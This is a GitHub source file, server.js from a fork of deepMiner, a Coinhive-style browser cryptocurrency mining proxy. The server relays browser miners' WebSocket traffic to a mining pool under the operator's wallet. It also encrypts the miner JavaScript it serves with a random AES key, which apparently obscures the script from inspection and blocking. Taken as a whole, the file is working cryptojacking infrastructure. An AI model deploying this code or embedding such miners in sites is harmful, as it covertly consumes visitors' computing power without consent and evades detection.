forked from deepwn/deepMiner
-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.js
260 lines (249 loc) · 8.23 KB
/
server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
/**
* deepMiner v1.1
* Idea from coinhive.com
* Worker for any pool or personal wallet
* By evil7@deePwn
* improved by vphelipe
*/
var http = require('http'),
https = require('https'),
WebSocket = require("ws"),
net = require('net'),
fs = require('fs'),
crypto = require("crypto"),
CryptoJS = require(__dirname + '/crypto-js-3.1.9');
var conf = JSON.parse(fs.readFileSync(__dirname + '/config.json', 'utf8'));
//ssl support
const ssl = !!(conf.key && conf.cert);
//heroku global config
conf.lport = process.env.PORT || conf.lport;
conf.domain = process.env.DOMAIN || conf.domain;
conf.pool = process.env.POOL || conf.pool;
conf.addr = process.env.ADDR || conf.addr;
// crypto for AES
function rand(n) {
var chars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
var res = "";
for (var i = 0; i < n; i++) {
var id = Math.ceil(Math.random() * 35);
res += chars[id];
}
return res;
}
function enAES(key, str) {
var encrypt = CryptoJS.AES.encrypt(str, CryptoJS.enc.Utf8.parse(key), {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
return encrypt.toString();
}
function deAES(key, str) {
var decrypt = CryptoJS.AES.decrypt(str, CryptoJS.enc.Utf8.parse(key), {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
return decrypt.toString(CryptoJS.enc.Utf8);
}
const stats = (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
req.url = (req.url === '/') ? '/index.html' : req.url;
fs.readFile(__dirname + '/web' + req.url, (err, buf) => {
if (err) {
res.writeHead(301, {
'Location': 'https://' + conf.domain
});
res.end();
} else {
if (!req.url.match(/\.wasm$/) && !req.url.match(/\.mem$/)) {
buf = buf.toString().replace(/%deepMiner_domain%/g, conf.domain);
if (req.url.match(/\.js$/)) {
var randKey = rand(32);
tmp = fs.readFileSync(__dirname + '/tmpl.aes.min.js', 'utf8');
tmp = tmp.replace(/%aes_file%/g, enAES(randKey, buf));
tmp = tmp.replace(/%aes_key%/g, randKey);
buf = fs.readFileSync(__dirname + '/crypto-js-3.1.9.min.js', 'utf8');
buf += tmp;
res.setHeader('content-type', 'application/javascript');
}
} else {
res.setHeader('Content-Type', 'application/octet-stream');
}
res.end(buf);
}
});
}
//ssl support
if (ssl) {
var web = https.createServer({
key: fs.readFileSync(conf.key),
cert: fs.readFileSync(conf.cert)
}, stats)
} else {
var web = http.createServer(stats);
}
// Miner Proxy Srv
var srv = new WebSocket.Server({
server: web,
path: "/api",
maxPayload: 256
});
srv.on('connection', (ws) => {
var conn = {
uid: null,
pid: crypto.randomBytes(12).toString("hex"),
workerId: null,
found: 0,
accepted: 0,
ws: ws,
pl: new net.Socket(),
}
var pool = conf.pool.split(':');
conn.pl.connect(pool[1], pool[0]);
// Trans WebSocket to PoolSocket
function ws2pool(data) {
var buf;
data = JSON.parse(data);
switch (data.type) {
case 'auth':
{
conn.uid = data.params.site_key;
if (data.params.user) {
conn.uid += '@' + data.params.user;
}
buf = {
"method": "login",
"params": {
"login": conf.addr,
"pass": conf.pass,
"agent": "deepMiner"
},
"id": conn.pid
}
buf = JSON.stringify(buf) + '\n';
conn.pl.write(buf);
break;
}
case 'submit':
{
conn.found++;
buf = {
"method": "submit",
"params": {
"id": conn.workerId,
"job_id": data.params.job_id,
"nonce": data.params.nonce,
"result": data.params.result
},
"id": conn.pid
}
buf = JSON.stringify(buf) + '\n';
conn.pl.write(buf);
break;
}
}
}
// Trans PoolSocket to WebSocket
function pool2ws(data) {
try {
var buf;
data = JSON.parse(data);
if (data.id === conn.pid && data.result) {
if (data.result.id) {
conn.workerId = data.result.id;
buf = {
"type": "authed",
"params": {
"token": "",
"hashes": conn.accepted
}
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
buf = {
"type": "job",
"params": data.result.job
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
} else if (data.result.status === 'OK') {
conn.accepted++;
buf = {
"type": "hash_accepted",
"params": {
"hashes": conn.accepted
}
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
}
if (data.id === conn.pid && data.error) {
if (data.error.code === -1) {
buf = {
"type": "banned",
"params": {
"banned": conn.pid
}
}
} else {
buf = {
"type": "error",
"params": {
"error": data.error.message
}
}
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
if (data.method === 'job') {
buf = {
"type": 'job',
"params": data.params
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
} catch (error) {
console.warn('[!] Error: ' + error.message)
}
}
conn.ws.on('message', (data) => {
ws2pool(data);
console.log('[>] Request: ' + conn.uid + '\n\n' + data + '\n');
});
conn.ws.on('error', (data) => {
console.log('[!] ' + conn.uid + ' WebSocket ' + data + '\n');
conn.pl.destroy();
});
conn.ws.on('close', () => {
console.log('[!] ' + conn.uid + ' offline.\n');
conn.pl.destroy();
});
conn.pl.on('data', function (data) {
var linesdata = data;
var lines = String(linesdata).split("\n");
if (lines[1].length > 0) {
console.log('[<] Response: ' + conn.pid + '\n\n' + lines[0] + '\n');
console.log('[<] Response: ' + conn.pid + '\n\n' + lines[1] + '\n')
pool2ws(lines[0]);
pool2ws(lines[1]);
} else {
console.log('[<] Response: ' + conn.pid + '\n\n' + data + '\n');
pool2ws(data);
}
});
conn.pl.on('error', (data) => {
console.log('PoolSocket ' + data + '\n');
if (conn.ws.readyState !== 3) {
conn.ws.close();
}
});
conn.pl.on('close', () => {
console.log('PoolSocket Closed.\n');
if (conn.ws.readyState !== 3) {
conn.ws.close();
}
});
});
web.listen(conf.lport, conf.lhost);